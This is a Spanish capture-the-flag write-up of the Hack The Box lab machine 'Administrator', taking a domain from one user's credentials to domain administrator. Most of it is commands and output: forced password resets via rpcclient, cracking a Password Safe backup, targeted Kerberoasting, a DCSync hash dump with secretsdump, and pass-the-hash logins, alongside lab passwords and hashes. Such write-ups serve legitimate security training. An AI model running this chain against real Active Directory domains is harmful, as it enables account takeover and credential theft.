Descripción

Administrator es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de un Directorio Activo utilizando credenciales de un usuario del dominio proporcionadas
  • Usuario del dominio con acceso al permiso GenericAll sobre un usuario, permitiendo al usuario cambiar la contraseña
  • Usuario del dominio con acceso al permiso ForceChangePassword sobre un usuario, permitiendo al usuario cambiar la contraseña
  • Un usuario puede acceder a un servidor FTP que permite la recuperación de una copia de seguridad del administrador de contraseñas
  • Recuperación de la contraseña maestra de un administrador de contraseñas y sus credenciales
  • Usuario del dominio con acceso al permiso GenericWrite sobre un usuario, permite al usuario recuperar la huella de Kerberos y la contraseña
  • Escalada de privilegios con un usuario del dominio que tiene el permiso DCSync, permitiendo descargar las credenciales

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.144.56.

$ ping -c 3 10.129.144.56
PING 10.129.144.56 (10.129.144.56) 56(84) bytes of data.
64 bytes from 10.129.144.56: icmp_seq=1 ttl=127 time=44.5 ms
64 bytes from 10.129.144.56: icmp_seq=2 ttl=127 time=43.7 ms
64 bytes from 10.129.144.56: icmp_seq=3 ttl=127 time=993 ms

--- 10.129.144.56 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 43.701/360.280/992.649/447.152 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.144.56 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.144.56
Host is up (0.046s latency).
Not shown: 988 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

Obtenemos muchos puertos abiertos relacionados con un Controlador de Dominio de Directorio Activo. También encontramos un servicio de FTP.️

Enumeración️

Obtenemos muchos puertos abiertos, relacionados con un entorno Active Directory.

$ nmap 10.129.144.56 -Pn -sV -sC -p21,53,88,135,139,389,445,464,636,3268,3269 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.144.56
Host is up (0.045s latency).

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|_  start_date: N/A
|_clock-skew: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.50 seconds

Obtenemos los servicios relacionados con un Directorio Activo, específicamente el Dominio administrator.htb y el Controlador de Dominio dc.administrator.htb. Agregamos los dominios a nuestro archivo local /etc/hosts.️

$ echo "10.129.144.56 administrator.htb" | sudo tee -a /etc/hosts
$ echo "10.129.144.56 dc.administrator.htb" | sudo tee -a /etc/hosts

Antes de continuar necesitamos sincronizar el reloj del sistema con el reloj del Controlador de Dominio. Vamos a detener la sincronización con el servidor NTP por defecto.️

$ sudo timedatectl  set-ntp off 
$ sudo rdate -n administrator.htb

Comenzamos la enumeración del dominio con una supuesta brecha, tenemos la contraseña del usuario Olivia, ichliebedich. El servicio de FTP requiere autenticación y no es accesible con el usuario Olivia.️

$ ftp Olivia@administrator.htb
Connected to administrator.htb.
220 Microsoft FTP Service
331 Password required
Password: 
530 User cannot log in, home directory inaccessible.
ftp: Login failed
ftp> ^D
221 Goodbye.

Descargamos la información del dominio utilizando la herramienta bloodhound-python para luego utilizar la aplicación de escritorio BloodHound para analizar los datos.️

$ bloodhound-python -d administrator.htb -v --zip -c All -dc dc.administrator.htb -ns 10.129.144.56 -u 'Olivia' -p 'ichliebedich'
DEBUG: Authentication: username/password
DEBUG: Resolved collection methods: psremote, objectprops, session, dcom, group, acl, localadmin, rdp, trusts, container
DEBUG: Using DNS to retrieve domain information
DEBUG: Querying domain controller information from DNS
DEBUG: Using domain hint: administrator.htb
INFO: Found AD domain: administrator.htb
DEBUG: Found primary DC: dc.administrator.htb
DEBUG: Found Global Catalog server: dc.administrator.htb
DEBUG: Found KDC for enumeration domain: dc.administrator.htb
DEBUG: Using supplied domain controller as KDC
...

Cargamos el archivo generado .zip en BloodHound utilizando la opción de menú Upload Data, buscamos al usuario Olivia.️ En la pestaña de Node Info nos movemos a Outbound Object Control > First Degree Object Control. Encontramos que el usuario Olivia tiene el permiso GenericAll sobre el usuario Michael, lo que significa que podemos cambiar la contraseña del usuario Michael y manipular todos los objetos del usuario.️ Moviéndonos al usuario Michael, en la pestaña Node Info, comprobamos Outbound Object Control > First Degree Object Control. Encontramos que Michael tiene el derecho ForceChangePassword sobre el usuario Benjamin. Esto significa que Michael puede cambiar la contraseña del usuario Benjamin sin conocer la contraseña anterior utilizada.️ Moviéndonos al usuario Benjamin, en la pestaña de Node Info, comprobamos Group Membership > First Degree Group Memberships. Encontramos que Benjamin pertenece al grupo Share Moderators. Encontramos previamente que el servicio FTP (que comparte archivos con usuarios) está activo, por lo que el usuario podría acceder al servicio.️ Enumeramos más usuarios en el dominio con la herramienta rpcclient y el comando enumdomusers. Encontramos a Administrator, Guest, krbtgt, emily, ethan, alexander y emma.️

$ rpcclient -U 'administrator.htb/olivia%ichliebedich' administrator.htb                                     
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[olivia] rid:[0x454]
user:[michael] rid:[0x455]
user:[benjamin] rid:[0x456]
user:[emily] rid:[0x458]
user:[ethan] rid:[0x459]
user:[alexander] rid:[0xe11]
user:[emma] rid:[0xe12]

Volvemos a BloodHound para analizar al usuario emily, en la pestaña Node Info, comprobamos Outbound Object Control > First Degree Object Control. Encontramos que el usuario Emily tiene permiso de GenericWrite sobre el usuario Ethan. Esto significa que Emily puede realizar un ataque de Kerberoast Dirigido a Ethan para recuperar la huella del password del usuario o puede emitir un ataque de Shadow Credentials para recuperar el hash NTLM del usuario.️ Cambiando a la sección Overview > Reachable High Value Targets podemos encontrar que el usuario Emily puede crear una sesión remota en la máquina Controlador de Dominio lo que le permitirá ejecutar comandos. También encontramos que el usuario Ethan tiene permiso para realizar un DCSync sobre el dominio administrator.htb. Esto significa que el usuario Ethan puede obtener los hashes NTLM de todos los usuarios del dominio, incluyendo al Administrador, quien posee el dominio.️

Explotación️

Empezamos cambiando la contraseña del usuario Michael a new_password123, utilizando las credenciales de Olivia.️

$ rpcclient -U 'administrator.htb/olivia%ichliebedich' administrator.htb                                     
rpcclient $> setuserinfo2 michael 23 'new_password123'

Luego pasamos a cambiar la contraseña del usuario Benjamin a new_password123, utilizando las credenciales de Michael.️

$ rpcclient -U 'administrator.htb/michael%new_password123' administrator.htb

rpcclient $> setuserinfo2 benjamin 23 'new_password123'

Ahora con las credenciales de Benjamin podemos acceder al servidor FTP y recuperar un archivo, Backup.psafe3.️

$ ftp benjamin@administrator.htb
Connected to administrator.htb.
220 Microsoft FTP Service
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||50813|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.
ftp> get Backup.psafe3
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||50814|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (18.21 KiB/s)
ftp> ^D
221 Goodbye.

Encontramos que es una base de datos del administrador de contraseñas Password Safe V3.️

$ file Backup.psafe3            
Backup.psafe3: Password Safe V3 database

Podríamos necesitar instalar el administrador de contraseñas si no lo tenemos instalado.️

$ sudo apt install passwordsafe

Las bases de datos del administrador de contraseñas tienen una contraseña maestra que desbloqueará las credenciales guardadas. Vamos a exportar el hash de la contraseña maestra con la herramienta pwsafe2john y luego la vamos a recuperar utilizando John The Ripper.️

$ pwsafe2john Backup.psafe3                  
Backu:$pwsafe$*3*4ff588b74906263ad2abba592aba35d58bcd3a57e307bf79c8479dec6b3149aa*2048*1a941c10167252410ae04b7b43753aaedb4ec63e3f18c646bb084ec4f0944050

$ pwsafe2john Backup.psafe3 > Backup.psafe3.hash

$ john --wordlist=/usr/share/wordlists/rockyou.txt Backup.psafe3
Warning: invalid UTF-8 seen reading Backup.psafe3
Using default input encoding: UTF-8
No password hashes loaded (see FAQ)
╭─r@k ~/htb/administrator 
╰─$ john --wordlist=/usr/share/wordlists/rockyou.txt Backup.psafe3.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho     (Backu)     
1g 0:00:00:00 DONE 3.846g/s 63015p/s 63015c/s 63015C/s 123456..cocoliso
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña maestra de la base de datos, tekieromucho. Ahora podemos abrir la base de datos utilizando el programa. Introducimos la contraseña.️

$ pwsafe Backup.psafe3

Encontramos las credenciales para tres usuarios: alexander (UrkIbagoxMyUGw0aPlj9B0AXSea4Sw), emily (UXLCI5iETUsIBoFVTj8yQFKoHjXmb) y emma (WwANQWnmJnGV07WQN8bMS7FMAbjNur). Podemos copiar las contraseñas haciendo clic derecho en los usuarios y con la opción Copiar Contraseña al Portapapeles.️ Ahora, con la contraseña del usuario emily, podemos iniciar sesión en la máquina.️

$ evil-winrm -i administrator.htb -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents> whoami
administrator\emily

Post-Explotación

A continuación, con el usuario Emily, podemos realizar un ataque de Kerberoast Dirigido al usuario Ethan. Descargamos la herramienta y la ejecutamos.️

$ wget https://github.com/ShutdownRepo/targetedKerberoast/raw/refs/heads/main/targetedKerberoast.py

$ python targetedKerberoast.py -v -d 'administrator.htb' -u emily -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'       
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$97d1fda66a1bc0f2d7aed565fa6b1e2c$5974ef890b87f49150a3589cd049e9d3338b284df56680d297729f6953d9209dd037f1a31a2b251da63d64a7e83f066dcc4c788dd855fe612881e0fff9438d0253b102ae3032adf7c796bd2648da369ec9c2c725bf5570e41894b91c4575de05644b7a20e19bcfb1b0e42dd094a42967ee6384b715516eb9a017698705b125b3afbc85aeabad011137eb5b2df686e7a3217347aa0e5ae8be2c713bffb78220d7a7b7e5b2367f0e3d0b281e51fe37beee66fb0b75f40adbbf2982f8a96fbc9f19bc0d04cf10ec6b605f40934ad23d4604cea481d829e06284702c346b0c5728813588472b2657c0be677625b4d4bbb1ac90d7f1d19d53b34d93d4dbf1fd5cc91891e2c3ec944670fde4f90b2b7c43736a14b23ea18cc683d235ed60c6cde3b3d1f45da9cfe034664955c5ccace51a4b392e6bdb72499ac6a9973f8fb6b019f4f214c8c0111f89e9a70a507d25659cd7f8b78c4f6a134136caf57ce8d33083390628e77625b5e573ec4078dbb0de3e2d3af0866c50b37cfd5f345bf0c4983e11e30cbfc6e15ead3c3242b05095fb6cad973f3a233a666c0ee979c2e5d305acd6469098882edbd7393ead923d5d1ae47ecb2c992f613d341d6b5945892db78ed27e54e4896f269040316a8a11f1f40a84adf6a9f0eacd61e179dc98147480490d6cec4101209eba145192b312651fd7da8d0c09d1734ce296fa3b13407b305a1366fbcafc7afb4f9e238ac5acb10d5c17146b5f64c017f8a70f8c80670160b265b52734a6180fc434f05db37e3778ebb82b588819e3d910e43ee46bcbb884b7ffea500b722962f96880eec10374dad5576371da21823d2917f360f32dc8f777ee4c845828ed2accb20d892cff3b2fc08ac7199bb6c86c485f918461a006cd3ab6fb06794c609c7c64d2083c27cb007041ebe5a6a7f6b216852d0ce2886f574e4b1f6bd366f10a8f54f2be638f8a61622bb75c60d7e0769cd8dbc8ff3169207bd5d1773ed5857a57c35a1af6f4ddc52e09abb38605676c086c048a69f7709ce6bfab75cf5f64e065fde3b47c31cfe61bb84f6b3687c47f51c037f2a41ab7a7236349dc43bd57943dd5c562f44e4679b743b96d8d81a1e582515dcc354b18a373ca0c92ef87751d220880dc5d090f678f0379a3b16697016bbde42a9103d265471b58b2c79066ea7c7dffe9591d85b92610513dc20fe843627a82b0fa74365ebd3fbe696cca9177062bd6114ee6323eda14563bfd5b6855af524fbc24a7b5892bc7391699f28091c2327bb34548f188d64aa5094e5985f22cab32feb3a3e1fd646cd2fe9b42c7656cd98443faa1c80cce8c6b443b4189a9f6ad2b0ec4eb4acdfc260ea6ba6603abae6421af2035265dc46bc1e3da7664c9ce09c485e786a5a300a2fab8050f8d2bec54f6fc09f49b8bae550606dff3ebf792ac0a53d648778937d28b152f31552e81013e79efbb9b0459ce651d8265db7f764ed0e70203c4ca0a6497e6d5d363f8713476f83bed2a3600a843e54ab0954313a8e3cdecf4b0125a4d

Obtenemos el hash de Kerberos, ahora pasamos a John The Ripper para romperlo y recuperar la contraseña del usuario Ethan.️

$ john --wordlist=/usr/share/wordlists/rockyou.txt ethan_hash        
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit       (?)     
1g 0:00:00:00 DONE 33.33g/s 273066p/s 273066c/s 273066C/s newzealand..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

La contraseña del usuario Ethan es limpbizkit. Ahora podemos utilizar las credenciales para volcar todos los secretos del dominio, incluyendo los hashes NTLM de todos los usuarios.️

$ impacket-secretsdump administrator.htb/ethan:'limpbizkit'@administrator.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:459a18c5e0c3003d2ed5f575af8f00c1:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:459a18c5e0c3003d2ed5f575af8f00c1:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
...

El hash NTLM del usuario Administrator es aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e. Podemos iniciar sesión en el sistema como Administrador de Dominio.️

$ evil-winrm -i administrator.htb -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'
                                        
Evil-WinRM shell v3.6
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
administrator\Administrator

Flags

En la consola de Administrador podemos recuperar las flags de usuario y root.️

*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\emily\Desktop\user.txt
<REDACTED>
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>